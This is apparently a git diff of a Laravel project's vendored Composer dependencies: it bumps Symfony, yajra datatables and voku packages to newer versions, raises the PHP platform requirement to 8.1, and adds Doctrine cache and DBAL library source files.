'library', 'install_path' => __DIR__ . '/../symfony/finder', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/http-foundation' => array( - 'pretty_version' => 'v5.4.39', - 'version' => '5.4.39.0', - 'reference' => '3356c93efc30b0c85a37606bdfef16b813faec0e', + 'pretty_version' => 'v6.4.8', + 'version' => '6.4.8.0', + 'reference' => '27de8cc95e11db7a50b027e71caaab9024545947', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/http-foundation', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/http-kernel' => array( - 'pretty_version' => 'v5.4.39', - 'version' => '5.4.39.0', - 'reference' => '1d812dc3a2863cc4246aaa636b0d71e0bf68e6b0', + 'pretty_version' => 'v6.4.8', + 'version' => '6.4.8.0', + 'reference' => '6c519aa3f32adcfd1d1f18d923f6b227d9acf3c1', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/http-kernel', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/mime' => array( - 'pretty_version' => 'v5.4.39', - 'version' => '5.4.39.0', - 'reference' => 'a5364f016fd9e090f7b4f250a97ea6925a5ca985', + 'pretty_version' => 'v6.4.8', + 'version' => '6.4.8.0', + 'reference' => '618597ab8b78ac86d1c75a9d0b35540cda074f33', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/mime', 'aliases' => array(), @@ -829,15 +943,6 @@ 'aliases' => array(), 'dev_requirement' => false, ), - 'symfony/polyfill-php73' => array( - 'pretty_version' => 'v1.29.0', - 'version' => '1.29.0.0', - 'reference' => '21bd091060673a1177ae842c0ef8fe30893114d2', - 'type' => 'library', - 'install_path' => __DIR__ . '/../symfony/polyfill-php73', - 'aliases' => array(), - 'dev_requirement' => false, - ), 'symfony/polyfill-php80' => array( 'pretty_version' => 'v1.29.0', 'version' => '1.29.0.0', @@ -847,55 +952,55 @@ 'aliases' => array(), 'dev_requirement' => false, ), - 'symfony/polyfill-php81' => array( + 'symfony/polyfill-php83' => array( 'pretty_version' => 'v1.29.0', 'version' => '1.29.0.0', - 'reference' => 'c565ad1e63f30e7477fc40738343c62b40bc672d', + 'reference' => '86fcae159633351e5fd145d1c47de6c528f8caff', 'type' => 'library', - 'install_path' => __DIR__ . '/../symfony/polyfill-php81', + 'install_path' => __DIR__ . '/../symfony/polyfill-php83', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/process' => array( - 'pretty_version' => 'v5.4.39', - 'version' => '5.4.39.0', - 'reference' => '85a554acd7c28522241faf2e97b9541247a0d3d5', + 'pretty_version' => 'v6.4.8', + 'version' => '6.4.8.0', + 'reference' => '8d92dd79149f29e89ee0f480254db595f6a6a2c5', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/process', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/service-contracts' => array( - 'pretty_version' => 'v2.5.3', - 'version' => '2.5.3.0', - 'reference' => 'a2329596ddc8fd568900e3fc76cba42489ecc7f3', + 'pretty_version' => 'v3.5.0', + 'version' => '3.5.0.0', + 'reference' => 'bd1d9e59a81d8fa4acdcea3f617c581f7475a80f', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/service-contracts', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/string' => array( - 'pretty_version' => 'v5.4.39', - 'version' => '5.4.39.0', - 'reference' => '495e71bae5862308051b9e63cc3e34078eed83ef', + 'pretty_version' => 'v6.4.8', + 'version' => '6.4.8.0', + 'reference' => 'a147c0f826c4a1f3afb763ab8e009e37c877a44d', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/string', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/translation' => array( - 'pretty_version' => 'v5.4.39', - 'version' => '5.4.39.0', - 'reference' => '0fabede35e3985c4f96089edeeefe8313e15ca3a', + 'pretty_version' => 'v6.4.8', + 'version' => '6.4.8.0', + 'reference' => 'a002933b13989fc4bd0b58e04bf7eec5210e438a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/translation-contracts' => array( - 'pretty_version' => 'v2.5.3', - 'version' => '2.5.3.0', - 'reference' => 'b0073a77ac0b7ea55131020e87b1e3af540f4664', + 'pretty_version' => 'v3.5.0', + 'version' => '3.5.0.0', + 'reference' => 'b9d2189887bb6b2e0367a9fc7136c5239ab9b05a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), @@ -904,13 +1009,13 @@ 'symfony/translation-implementation' => array( 'dev_requirement' => false, 'provided' => array( - 0 => '2.3', + 0 => '2.3|3.0', ), ), 'symfony/var-dumper' => array( - 'pretty_version' => 'v5.4.39', - 'version' => '5.4.39.0', - 'reference' => '1987f86ad7f339fe3d3e8e6cf3b7ce4d4b8e547e', + 'pretty_version' => 'v6.4.8', + 'version' => '6.4.8.0', + 'reference' => 'ad23ca4312395f0a8a8633c831ef4c4ee542ed25', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/var-dumper', 'aliases' => array(), @@ -944,36 +1049,45 @@ 'dev_requirement' => false, ), 'voku/anti-xss' => array( - 'pretty_version' => '4.1.35', - 'version' => '4.1.35.0', - 'reference' => '4d7ec2816cd6eeebb7d5abbde8b0349f66709496', + 'pretty_version' => '4.1.42', + 'version' => '4.1.42.0', + 'reference' => 'bca1f8607e55a3c5077483615cd93bd8f11bd675', 'type' => 'library', 'install_path' => __DIR__ . '/../voku/anti-xss', 'aliases' => array(), 'dev_requirement' => false, ), 'voku/portable-ascii' => array( - 'pretty_version' => '1.6.1', - 'version' => '1.6.1.0', - 'reference' => '87337c91b9dfacee02452244ee14ab3c43bc485a', + 'pretty_version' => '2.0.1', + 'version' => '2.0.1.0', + 'reference' => 'b56450eed252f6801410d810c8e1727224ae0743', 'type' => 'library', 'install_path' => __DIR__ . '/../voku/portable-ascii', 'aliases' => array(), 'dev_requirement' => false, ), 'voku/portable-utf8' => array( - 'pretty_version' => '6.0.1', - 'version' => '6.0.1.0', - 'reference' => 'e4365df3f7b63f9e57e1015f6c3ceec19c169f7a', + 'pretty_version' => '6.0.13', + 'version' => '6.0.13.0', + 'reference' => 'b8ce36bf26593e5c2e81b1850ef0ffb299d2043f', 'type' => 'library', 'install_path' => __DIR__ . '/../voku/portable-utf8', 'aliases' => array(), 'dev_requirement' => false, ), + 'webmozart/assert' => array( + 'pretty_version' => '1.11.0', + 'version' => '1.11.0.0', + 'reference' => '11cb2199493b2f8a3b53e7f19068fc6aac760991', + 'type' => 'library', + 'install_path' => __DIR__ . '/../webmozart/assert', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'yajra/laravel-datatables-oracle' => array( - 'pretty_version' => 'v9.21.2', - 'version' => '9.21.2.0', - 'reference' => 'a7fd01f06282923e9c63fa27fe6b391e21dc321a', + 'pretty_version' => 'v10.11.4', + 'version' => '10.11.4.0', + 'reference' => 'a11dc9cf5ec7f7dc68ad0d5959c5e7aec0af29a5', 'type' => 'library', 'install_path' => __DIR__ . '/../yajra/laravel-datatables-oracle', 'aliases' => array(), diff --git a/vendor/composer/platform_check.php b/vendor/composer/platform_check.php index 580fa9609..4c3a5d68f 100644 --- a/vendor/composer/platform_check.php +++ b/vendor/composer/platform_check.php @@ -4,8 +4,8 @@ $issues = array(); -if (!(PHP_VERSION_ID >= 70400)) { - $issues[] = 'Your Composer dependencies require a PHP version ">= 7.4.0". You are running ' . PHP_VERSION . '.'; +if (!(PHP_VERSION_ID >= 80100)) { + $issues[] = 'Your Composer dependencies require a PHP version ">= 8.1.0". You are running ' . PHP_VERSION . '.'; } if ($issues) { diff --git a/vendor/cviebrock/eloquent-sluggable/.semver b/vendor/cviebrock/eloquent-sluggable/.semver index de435cc39..9d5c75f76 100644 --- a/vendor/cviebrock/eloquent-sluggable/.semver +++ b/vendor/cviebrock/eloquent-sluggable/.semver @@ -1,5 +1,5 @@ --- -:major: 8 +:major: 10 :minor: 0 -:patch: 8 +:patch: 0 :special: '' diff --git a/vendor/cviebrock/eloquent-sluggable/composer.json b/vendor/cviebrock/eloquent-sluggable/composer.json index 0c8aa057f..f2569db74 100644 --- a/vendor/cviebrock/eloquent-sluggable/composer.json +++ b/vendor/cviebrock/eloquent-sluggable/composer.json @@ -18,18 +18,17 @@ } ], "require": { - "php": "^7.3|^8.0", - "cocur/slugify": "^4.0", - "illuminate/config": "^8.0", - "illuminate/database": "^8.0", - "illuminate/support": "^8.0" + "php": "^8.1", + "cocur/slugify": "^4.3", + "illuminate/config": "^10.0", + "illuminate/database": "^10.0", + "illuminate/support": "^10.0" }, "require-dev": { "limedeck/phpunit-detailed-printer": "^6.0", - "mockery/mockery": "^1.4.2", - "orchestra/database": "^6.0", - "orchestra/testbench": "^6.0", - "phpunit/phpunit": "^9.4" + "mockery/mockery": "^1.4.4", + "orchestra/testbench": "^8.0", + "pestphp/pest": "2.x-dev" }, "autoload": { "psr-4": { @@ -47,7 +46,7 @@ "composer install" ], "tests": [ - "php vendor/bin/phpunit" + "php vendor/bin/pest" ] }, "extra": { @@ -60,6 +59,9 @@ "minimum-stability": "dev", "prefer-stable": true, "config": { - "sort-packages": true + "sort-packages": true, + "allow-plugins": { + "pestphp/pest-plugin": true + } } } diff --git a/vendor/doctrine/cache/composer.json b/vendor/doctrine/cache/composer.json new file mode 100644 index 000000000..3c8ca971e --- /dev/null +++ b/vendor/doctrine/cache/composer.json @@ -0,0 +1,50 @@ +{ + "name": "doctrine/cache", + "type": "library", + "description": "PHP Doctrine Cache library is a popular cache implementation that supports many different drivers such as redis, memcache, apc, mongodb and others.", + "keywords": [ + "php", + "cache", + "caching", + "abstraction", + "redis", + "memcached", + "couchdb", + "xcache", + "apcu" + ], + "homepage": "https://www.doctrine-project.org/projects/cache.html", + "license": "MIT", + "authors": [ + {"name": "Guilherme Blanco", "email": "guilhermeblanco@gmail.com"}, + {"name": "Roman Borschel", "email": "roman@code-factory.org"}, + {"name": "Benjamin Eberlei", "email": "kontakt@beberlei.de"}, + {"name": "Jonathan Wage", "email": "jonwage@gmail.com"}, + {"name": "Johannes Schmitt", "email": "schmittjoh@gmail.com"} + ], + "require": { + "php": "~7.1 || ^8.0" + }, + "require-dev": { + "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", + "doctrine/coding-standard": "^9", + "psr/cache": "^1.0 || ^2.0 || ^3.0", + "cache/integration-tests": "dev-master", + "symfony/cache": "^4.4 || ^5.4 || ^6", + "symfony/var-exporter": "^4.4 || ^5.4 || ^6" + }, + "conflict": { + "doctrine/common": ">2.2,<2.4" + }, + "autoload": { + "psr-4": { "Doctrine\\Common\\Cache\\": "lib/Doctrine/Common/Cache" } + }, + "autoload-dev": { + "psr-4": { "Doctrine\\Tests\\": "tests/Doctrine/Tests" } + }, + "config": { + "allow-plugins": { + "dealerdirect/phpcodesniffer-composer-installer": true + } + } +} diff --git a/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Cache.php b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Cache.php new file mode 100644 index 000000000..4cfab6c0f --- /dev/null +++ b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Cache.php @@ -0,0 +1,90 @@ +hits + * Number of keys that have been requested and found present. + * + * - misses + * Number of items that have been requested and not found. + * + * - uptime + * Time that the server is running. + * + * - memory_usage + * Memory used by this server to store items. + * + * - memory_available + * Memory allowed to use for storage. + * + * @return mixed[]|null An associative array with server's statistics if available, NULL otherwise. + */ + public function getStats(); +} diff --git a/vendor/doctrine/cache/lib/Doctrine/Common/Cache/CacheProvider.php b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/CacheProvider.php new file mode 100644 index 000000000..180482a7b --- /dev/null +++ b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/CacheProvider.php @@ -0,0 +1,325 @@ +namespace = (string) $namespace; + $this->namespaceVersion = null; + } + + /** + * Retrieves the namespace that prefixes all cache ids. + * + * @return string + */ + public function getNamespace() + { + return $this->namespace; + } + + /** + * {@inheritdoc} + */ + public function fetch($id) + { + return $this->doFetch($this->getNamespacedId($id)); + } + + /** + * {@inheritdoc} + */ + public function fetchMultiple(array $keys) + { + if (empty($keys)) { + return []; + } + + // note: the array_combine() is in place to keep an association between our $keys and the $namespacedKeys + $namespacedKeys = array_combine($keys, array_map([$this, 'getNamespacedId'], $keys)); + $items = $this->doFetchMultiple($namespacedKeys); + $foundItems = []; + + // no internal array function supports this sort of mapping: needs to be iterative + // this filters and combines keys in one pass + foreach ($namespacedKeys as $requestedKey => $namespacedKey) { + if (! isset($items[$namespacedKey]) && ! array_key_exists($namespacedKey, $items)) { + continue; + } + + $foundItems[$requestedKey] = $items[$namespacedKey]; + } + + return $foundItems; + } + + /** + * {@inheritdoc} + */ + public function saveMultiple(array $keysAndValues, $lifetime = 0) + { + $namespacedKeysAndValues = []; + foreach ($keysAndValues as $key => $value) { + $namespacedKeysAndValues[$this->getNamespacedId($key)] = $value; + } + + return $this->doSaveMultiple($namespacedKeysAndValues, $lifetime); + } + + /** + * {@inheritdoc} + */ + public function contains($id) + { + return $this->doContains($this->getNamespacedId($id)); + } + + /** + * {@inheritdoc} + */ + public function save($id, $data, $lifeTime = 0) + { + return $this->doSave($this->getNamespacedId($id), $data, $lifeTime); + } + + /** + * {@inheritdoc} + */ + public function deleteMultiple(array $keys) + { + return $this->doDeleteMultiple(array_map([$this, 'getNamespacedId'], $keys)); + } + + /** + * {@inheritdoc} + */ + public function delete($id) + { + return $this->doDelete($this->getNamespacedId($id)); + } + + /** + * {@inheritdoc} + */ + public function getStats() + { + return $this->doGetStats(); + } + + /** + * {@inheritDoc} + */ + public function flushAll() + { + return $this->doFlush(); + } + + /** + * {@inheritDoc} + */ + public function deleteAll() + { + $namespaceCacheKey = $this->getNamespaceCacheKey(); + $namespaceVersion = $this->getNamespaceVersion() + 1; + + if ($this->doSave($namespaceCacheKey, $namespaceVersion)) { + $this->namespaceVersion = $namespaceVersion; + + return true; + } + + return false; + } + + /** + * Prefixes the passed id with the configured namespace value. + * + * @param string $id The id to namespace. + * + * @return string The namespaced id. + */ + private function getNamespacedId(string $id): string + { + $namespaceVersion = $this->getNamespaceVersion(); + + return sprintf('%s[%s][%s]', $this->namespace, $id, $namespaceVersion); + } + + /** + * Returns the namespace cache key. + */ + private function getNamespaceCacheKey(): string + { + return sprintf(self::DOCTRINE_NAMESPACE_CACHEKEY, $this->namespace); + } + + /** + * Returns the namespace version. + */ + private function getNamespaceVersion(): int + { + if ($this->namespaceVersion !== null) { + return $this->namespaceVersion; + } + + $namespaceCacheKey = $this->getNamespaceCacheKey(); + $this->namespaceVersion = (int) $this->doFetch($namespaceCacheKey) ?: 1; + + return $this->namespaceVersion; + } + + /** + * Default implementation of doFetchMultiple. Each driver that supports multi-get should owerwrite it. + * + * @param string[] $keys Array of keys to retrieve from cache + * + * @return mixed[] Array of values retrieved for the given keys. + */ + protected function doFetchMultiple(array $keys) + { + $returnValues = []; + + foreach ($keys as $key) { + $item = $this->doFetch($key); + if ($item === false && ! $this->doContains($key)) { + continue; + } + + $returnValues[$key] = $item; + } + + return $returnValues; + } + + /** + * Fetches an entry from the cache. + * + * @param string $id The id of the cache entry to fetch. + * + * @return mixed|false The cached data or FALSE, if no cache entry exists for the given id. + */ + abstract protected function doFetch($id); + + /** + * Tests if an entry exists in the cache. + * + * @param string $id The cache id of the entry to check for. + * + * @return bool TRUE if a cache entry exists for the given cache id, FALSE otherwise. + */ + abstract protected function doContains($id); + + /** + * Default implementation of doSaveMultiple. Each driver that supports multi-put should override it. + * + * @param mixed[] $keysAndValues Array of keys and values to save in cache + * @param int $lifetime The lifetime. If != 0, sets a specific lifetime for these + * cache entries (0 => infinite lifeTime). + * + * @return bool TRUE if the operation was successful, FALSE if it wasn't. + */ + protected function doSaveMultiple(array $keysAndValues, $lifetime = 0) + { + $success = true; + + foreach ($keysAndValues as $key => $value) { + if ($this->doSave($key, $value, $lifetime)) { + continue; + } + + $success = false; + } + + return $success; + } + + /** + * Puts data into the cache. + * + * @param string $id The cache id. + * @param string $data The cache entry/data. + * @param int $lifeTime The lifetime. If != 0, sets a specific lifetime for this + * cache entry (0 => infinite lifeTime). + * + * @return bool TRUE if the entry was successfully stored in the cache, FALSE otherwise. + */ + abstract protected function doSave($id, $data, $lifeTime = 0); + + /** + * Default implementation of doDeleteMultiple. Each driver that supports multi-delete should override it. + * + * @param string[] $keys Array of keys to delete from cache + * + * @return bool TRUE if the operation was successful, FALSE if it wasn't + */ + protected function doDeleteMultiple(array $keys) + { + $success = true; + + foreach ($keys as $key) { + if ($this->doDelete($key)) { + continue; + } + + $success = false; + } + + return $success; + } + + /** + * Deletes a cache entry. + * + * @param string $id The cache id. + * + * @return bool TRUE if the cache entry was successfully deleted, FALSE otherwise. + */ + abstract protected function doDelete($id); + + /** + * Flushes all cache entries. + * + * @return bool TRUE if the cache entries were successfully flushed, FALSE otherwise. + */ + abstract protected function doFlush(); + + /** + * Retrieves cached information from the data store. + * + * @return mixed[]|null An associative array with server's statistics if available, NULL otherwise. + */ + abstract protected function doGetStats(); +} diff --git a/vendor/doctrine/cache/lib/Doctrine/Common/Cache/ClearableCache.php b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/ClearableCache.php new file mode 100644 index 000000000..b94618e46 --- /dev/null +++ b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/ClearableCache.php @@ -0,0 +1,21 @@ + infinite lifeTime). + * + * @return bool TRUE if the operation was successful, FALSE if it wasn't. + */ + public function saveMultiple(array $keysAndValues, $lifetime = 0); +} diff --git a/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php new file mode 100644 index 000000000..d3693b7c6 --- /dev/null +++ b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php @@ -0,0 +1,340 @@ + */ + private $deferredItems = []; + + public static function wrap(Cache $cache): CacheItemPoolInterface + { + if ($cache instanceof DoctrineProvider && ! $cache->getNamespace()) { + return $cache->getPool(); + } + + if ($cache instanceof SymfonyDoctrineProvider && ! $cache->getNamespace()) { + $getPool = function () { + // phpcs:ignore Squiz.Scope.StaticThisUsage.Found + return $this->pool; + }; + + return $getPool->bindTo($cache, SymfonyDoctrineProvider::class)(); + } + + return new self($cache); + } + + private function __construct(Cache $cache) + { + $this->cache = $cache; + } + + /** @internal */ + public function getCache(): Cache + { + return $this->cache; + } + + /** + * {@inheritDoc} + */ + public function getItem($key): CacheItemInterface + { + assert(self::validKey($key)); + + if (isset($this->deferredItems[$key])) { + $this->commit(); + } + + $value = $this->cache->fetch($key); + + if (PHP_VERSION_ID >= 80000) { + if ($value !== false) { + return new TypedCacheItem($key, $value, true); + } + + return new TypedCacheItem($key, null, false); + } + + if ($value !== false) { + return new CacheItem($key, $value, true); + } + + return new CacheItem($key, null, false); + } + + /** + * {@inheritDoc} + */ + public function getItems(array $keys = []): array + { + if ($this->deferredItems) { + $this->commit(); + } + + assert(self::validKeys($keys)); + + $values = $this->doFetchMultiple($keys); + $items = []; + + if (PHP_VERSION_ID >= 80000) { + foreach ($keys as $key) { + if (array_key_exists($key, $values)) { + $items[$key] = new TypedCacheItem($key, $values[$key], true); + } else { + $items[$key] = new TypedCacheItem($key, null, false); + } + } + + return $items; + } + + foreach ($keys as $key) { + if (array_key_exists($key, $values)) { + $items[$key] = new CacheItem($key, $values[$key], true); + } else { + $items[$key] = new CacheItem($key, null, false); + } + } + + return $items; + } + + /** + * {@inheritDoc} + */ + public function hasItem($key): bool + { + assert(self::validKey($key)); + + if (isset($this->deferredItems[$key])) { + $this->commit(); + } + + return $this->cache->contains($key); + } + + public function clear(): bool + { + $this->deferredItems = []; + + if (! $this->cache instanceof ClearableCache) { + return false; + } + + return $this->cache->deleteAll(); + } + + /** + * {@inheritDoc} + */ + public function deleteItem($key): bool + { + assert(self::validKey($key)); + unset($this->deferredItems[$key]); + + return $this->cache->delete($key); + } + + /** + * {@inheritDoc} + */ + public function deleteItems(array $keys): bool + { + foreach ($keys as $key) { + assert(self::validKey($key)); + unset($this->deferredItems[$key]); + } + + return $this->doDeleteMultiple($keys); + } + + public function save(CacheItemInterface $item): bool + { + return $this->saveDeferred($item) && $this->commit(); + } + + public function saveDeferred(CacheItemInterface $item): bool + { + if (! $item instanceof CacheItem && ! $item instanceof TypedCacheItem) { + return false; + } + + $this->deferredItems[$item->getKey()] = $item; + + return true; + } + + public function commit(): bool + { + if (! $this->deferredItems) { + return true; + } + + $now = microtime(true); + $itemsCount = 0; + $byLifetime = []; + $expiredKeys = []; + + foreach ($this->deferredItems as $key => $item) { + $lifetime = ($item->getExpiry() ?? $now) - $now; + + if ($lifetime < 0) { + $expiredKeys[] = $key; + + continue; + } + + ++$itemsCount; + $byLifetime[(int) $lifetime][$key] = $item->get(); + } + + $this->deferredItems = []; + + switch (count($expiredKeys)) { + case 0: + break; + case 1: + $this->cache->delete(current($expiredKeys)); + break; + default: + $this->doDeleteMultiple($expiredKeys); + break; + } + + if ($itemsCount === 1) { + return $this->cache->save($key, $item->get(), (int) $lifetime); + } + + $success = true; + foreach ($byLifetime as $lifetime => $values) { + $success = $this->doSaveMultiple($values, $lifetime) && $success; + } + + return $success; + } + + public function __destruct() + { + $this->commit(); + } + + /** + * @param mixed $key + */ + private static function validKey($key): bool + { + if (! is_string($key)) { + throw new InvalidArgument(sprintf('Cache key must be string, "%s" given.', is_object($key) ? get_class($key) : gettype($key))); + } + + if ($key === '') { + throw new InvalidArgument('Cache key length must be greater than zero.'); + } + + if (strpbrk($key, self::RESERVED_CHARACTERS) !== false) { + throw new InvalidArgument(sprintf('Cache key "%s" contains reserved characters "%s".', $key, self::RESERVED_CHARACTERS)); + } + + return true; + } + + /** + * @param mixed[] $keys + */ + private static function validKeys(array $keys): bool + { + foreach ($keys as $key) { + self::validKey($key); + } + + return true; + } + + /** + * @param mixed[] $keys + */ + private function doDeleteMultiple(array $keys): bool + { + if ($this->cache instanceof MultiDeleteCache) { + return $this->cache->deleteMultiple($keys); + } + + $success = true; + foreach ($keys as $key) { + $success = $this->cache->delete($key) && $success; + } + + return $success; + } + + /** + * @param mixed[] $keys + * + * @return mixed[] + */ + private function doFetchMultiple(array $keys): array + { + if ($this->cache instanceof MultiGetCache) { + return $this->cache->fetchMultiple($keys); + } + + $values = []; + foreach ($keys as $key) { + $value = $this->cache->fetch($key); + if (! $value) { + continue; + } + + $values[$key] = $value; + } + + return $values; + } + + /** + * @param mixed[] $keysAndValues + */ + private function doSaveMultiple(array $keysAndValues, int $lifetime = 0): bool + { + if ($this->cache instanceof MultiPutCache) { + return $this->cache->saveMultiple($keysAndValues, $lifetime); + } + + $success = true; + foreach ($keysAndValues as $key => $value) { + $success = $this->cache->save($key, $value, $lifetime) && $success; + } + + return $success; + } +} diff --git a/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheItem.php b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheItem.php new file mode 100644 index 000000000..0b6f0a28d --- /dev/null +++ b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheItem.php @@ -0,0 +1,118 @@ +key = $key; + $this->value = $data; + $this->isHit = $isHit; + } + + public function getKey(): string + { + return $this->key; + } + + /** + * {@inheritDoc} + * + * @return mixed + */ + public function get() + { + return $this->value; + } + + public function isHit(): bool + { + return $this->isHit; + } + + /** + * {@inheritDoc} + */ + public function set($value): self + { + $this->value = $value; + + return $this; + } + + /** + * {@inheritDoc} + */ + public function expiresAt($expiration): self + { + if ($expiration === null) { + $this->expiry = null; + } elseif ($expiration instanceof DateTimeInterface) { + $this->expiry = (float) $expiration->format('U.u'); + } else { + throw new TypeError(sprintf( + 'Expected $expiration to be an instance of DateTimeInterface or null, got %s', + is_object($expiration) ? get_class($expiration) : gettype($expiration) + )); + } + + return $this; + } + + /** + * {@inheritDoc} + */ + public function expiresAfter($time): self + { + if ($time === null) { + $this->expiry = null; + } elseif ($time instanceof DateInterval) { + $this->expiry = microtime(true) + DateTime::createFromFormat('U', 0)->add($time)->format('U.u'); + } elseif (is_int($time)) { + $this->expiry = $time + microtime(true); + } else { + throw new TypeError(sprintf( + 'Expected $time to be either an integer, an instance of DateInterval or null, got %s', + is_object($time) ? get_class($time) : gettype($time) + )); + } + + return $this; + } + + /** + * @internal + */ + public function getExpiry(): ?float + { + return $this->expiry; + } +} diff --git a/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/DoctrineProvider.php b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/DoctrineProvider.php new file mode 100644 index 000000000..3b0f416c1 --- /dev/null +++ b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/DoctrineProvider.php @@ -0,0 +1,135 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Doctrine\Common\Cache\Psr6; + +use Doctrine\Common\Cache\Cache; +use Doctrine\Common\Cache\CacheProvider; +use Psr\Cache\CacheItemPoolInterface; +use Symfony\Component\Cache\Adapter\DoctrineAdapter as SymfonyDoctrineAdapter; +use Symfony\Contracts\Service\ResetInterface; + +use function rawurlencode; + +/** + * This class was copied from the Symfony Framework, see the original copyright + * notice above. The code is distributed subject to the license terms in + * https://github.com/symfony/symfony/blob/ff0cf61278982539c49e467db9ab13cbd342f76d/LICENSE + */ +final class DoctrineProvider extends CacheProvider +{ + /** @var CacheItemPoolInterface */ + private $pool; + + public static function wrap(CacheItemPoolInterface $pool): Cache + { + if ($pool instanceof CacheAdapter) { + return $pool->getCache(); + } + + if ($pool instanceof SymfonyDoctrineAdapter) { + $getCache = function () { + // phpcs:ignore Squiz.Scope.StaticThisUsage.Found + return $this->provider; + }; + + return $getCache->bindTo($pool, SymfonyDoctrineAdapter::class)(); + } + + return new self($pool); + } + + private function __construct(CacheItemPoolInterface $pool) + { + $this->pool = $pool; + } + + /** @internal */ + public function getPool(): CacheItemPoolInterface + { + return $this->pool; + } + + public function reset(): void + { + if ($this->pool instanceof ResetInterface) { + $this->pool->reset(); + } + + $this->setNamespace($this->getNamespace()); + } + + /** + * {@inheritdoc} + */ + protected function doFetch($id) + { + $item = $this->pool->getItem(rawurlencode($id)); + + return $item->isHit() ? $item->get() : false; + } + + /** + * {@inheritdoc} + * + * @return bool + */ + protected function doContains($id) + { + return $this->pool->hasItem(rawurlencode($id)); + } + + /** + * {@inheritdoc} + * + * @return bool + */ + protected function doSave($id, $data, $lifeTime = 0) + { + $item = $this->pool->getItem(rawurlencode($id)); + + if (0 < $lifeTime) { + $item->expiresAfter($lifeTime); + } + + return $this->pool->save($item->set($data)); + } + + /** + * {@inheritdoc} + * + * @return bool + */ + protected function doDelete($id) + { + return $this->pool->deleteItem(rawurlencode($id)); + } + + /** + * {@inheritdoc} + * + * @return bool + */ + protected function doFlush() + { + return $this->pool->clear(); + } + + /** + * {@inheritdoc} + * + * @return array|null + */ + protected function doGetStats() + { + return null; + } +} diff --git a/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/InvalidArgument.php b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/InvalidArgument.php new file mode 100644 index 000000000..196f1bca9 --- /dev/null +++ b/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/InvalidArgument.php @@ -0,0 +1,13 @@ +key; + } + + public function get(): mixed + { + return $this->value; + } + + public function isHit(): bool + { + return $this->isHit; + } + + public function set(mixed $value): static + { + $this->value = $value; + + return $this; + } + + /** + * {@inheritDoc} + */ + public function expiresAt($expiration): static + { + if ($expiration === null) { + $this->expiry = null; + } elseif ($expiration instanceof DateTimeInterface) { + $this->expiry = (float) $expiration->format('U.u'); + } else { + throw new TypeError(sprintf( + 'Expected $expiration to be an instance of DateTimeInterface or null, got %s', + get_debug_type($expiration) + )); + } + + return $this; + } + + /** + * {@inheritDoc} + */ + public function expiresAfter($time): static + { + if ($time === null) { + $this->expiry = null; + } elseif ($time instanceof DateInterval) { + $this->expiry = microtime(true) + DateTime::createFromFormat('U', 0)->add($time)->format('U.u'); + } elseif (is_int($time)) { + $this->expiry = $time + microtime(true); + } else { + throw new TypeError(sprintf( + 'Expected $time to be either an integer, an instance of DateInterval or null, got %s', + get_debug_type($time) + )); + } + + return $this; + } + + /** + * @internal + */ + public function getExpiry(): ?float + { + return $this->expiry; + } +} diff --git a/vendor/doctrine/dbal/bin/doctrine-dbal b/vendor/doctrine/dbal/bin/doctrine-dbal new file mode 100644 index 000000000..0531527dd --- /dev/null +++ b/vendor/doctrine/dbal/bin/doctrine-dbal @@ -0,0 +1,4 @@ +#!/usr/bin/env php +> */ + private array $data; + + private int $columnCount = 0; + private int $num = 0; + + /** @param list> $data */ + public function __construct(array $data) + { + $this->data = $data; + if (count($data) === 0) { + return; + } + + $this->columnCount = count($data[0]); + } + + /** + * {@inheritDoc} + */ + public function fetchNumeric() + { + $row = $this->fetch(); + + if ($row === false) { + return false; + } + + return array_values($row); + } + + /** + * {@inheritDoc} + */ + public function fetchAssociative() + { + return $this->fetch(); + } + + /** + * {@inheritDoc} + */ + public function fetchOne() + { + $row = $this->fetch(); + + if ($row === false) { + return false; + } + + return reset($row); + } + + /** + * {@inheritDoc} + */ + public function fetchAllNumeric(): array + { + return FetchUtils::fetchAllNumeric($this); + } + + /** + * {@inheritDoc} + */ + public function fetchAllAssociative(): array + { + return FetchUtils::fetchAllAssociative($this); + } + + /** + * {@inheritDoc} + */ + public function fetchFirstColumn(): array + { + return FetchUtils::fetchFirstColumn($this); + } + + public function rowCount(): int + { + return count($this->data); + } + + public function columnCount(): int + { + return $this->columnCount; + } + + public function free(): void + { + $this->data = []; + } + + /** @return 